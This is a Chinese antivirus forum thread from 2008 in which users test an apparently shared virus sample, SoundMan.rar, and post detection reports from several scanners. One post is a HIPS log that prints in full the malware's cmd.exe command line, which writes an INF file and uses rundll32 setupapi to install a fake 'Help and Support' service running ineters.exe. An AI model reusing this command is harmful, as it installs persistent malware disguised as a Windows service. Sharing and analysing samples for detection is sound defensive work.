前面两次发的都不是毒，这次可是经过检测的

显示全部楼层 · 发表于 2008-1-25 00:29:38

修改系统时间？

哈，我早就料到此病毒会留有这么一手

显示全部楼层 · 发表于 2008-1-25 00:31:13

2008-01-25 00:14:34 运行应用程序操作:阻止
进程路径:C:\WINDOWS\System32\crrrr.exe
文件路径:C:\WINDOWS\System32\cmd.exe
命令行:/c echo [Version]>%windir%\1.inf&echo Signature="$WINDOWS NT$">>%windir%\1.inf&echo [DefaultInstall.Services]>>%windir%\1.inf&echo AddService=helpsvc,,My_AddService_Name>>%windir%\1.inf&echo [My_AddService_Name]>>%windir%\1.inf&echo DisplayName=Help and Support>>%windir%\1.inf&echo Description=启用在此计算机上运行帮助和支持中心。如果停止服务，帮助和支持中心将不可用。如果禁用服务，任何直接依赖于此服务的服务将无法启动。>>%windir%\1.inf&echo ServiceType=0x10>>%windir%\1.inf&echo StartType=2 >>%windir%\1.inf&echo ServiceBinary=%11%\ineters.exe>>%windir%\1.inf&echo ErrorControl=0 >>%windir%\1.inf&rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %windir%\1.inf&del %windir%\1.inf&exit
触发规则:所有程序规则->禁止未授权程序启动的文件->%windir%\system32\cmd.exe（假装系统服务）

又给我猜对了哇哈哈

显示全部楼层 · 发表于 2008-1-25 07:20:21

C:\Users\Wesley\Downloads\SoundMan.rar
  [0] Archive type: RAR
  --> SoundMan.exe
   [DETECTION] Is the Trojan horse TR/Dropper.Gen

显示全部楼层 · 发表于 2008-1-25 09:23:37

瑞星病毒查杀结果报告

清除病毒种类列表：
病毒： Trojan.Win32.VB.zap
病毒： Trojan.Win32.VB.zaq
病毒： Trojan.DL.Win32.VB.ypc

用户来源：互联网

软件版本：20.28.32

显示全部楼层 · 发表于 2008-1-25 10:01:39

微点砍掉

显示全部楼层 · 发表于 2008-1-25 10:09:51

江民过~~~~~~~~

显示全部楼层 · 发表于 2008-1-25 11:58:28

D:\download\SoundMan.rar>>SoundMan.exe W32.Generic.worm.oqlj 病毒还未处理

显示全部楼层 · 发表于 2008-1-25 21:34:11

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.VB.zap

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.28.42

显示全部楼层 · 发表于 2008-1-25 21:35:34

7/3

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.Win32.VB.zaq
病毒： Trojan.DL.Win32.VB.ypc
病毒： Trojan.Win32.VB.zap

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.28.42

[病毒样本] 前面两次发的都不是毒，这次可是经过检测的

Avira AntiVir

本帖子中包含更多资源

2/1

回复 2楼冷_冷的帖子

浏览过的版块

[病毒样本] 前面两次发的都不是毒，这次可是经过检测的

Avira AntiVir

本帖子中包含更多资源

2/1

回复 2楼 冷_冷 的帖子

浏览过的版块

回复 2楼冷_冷的帖子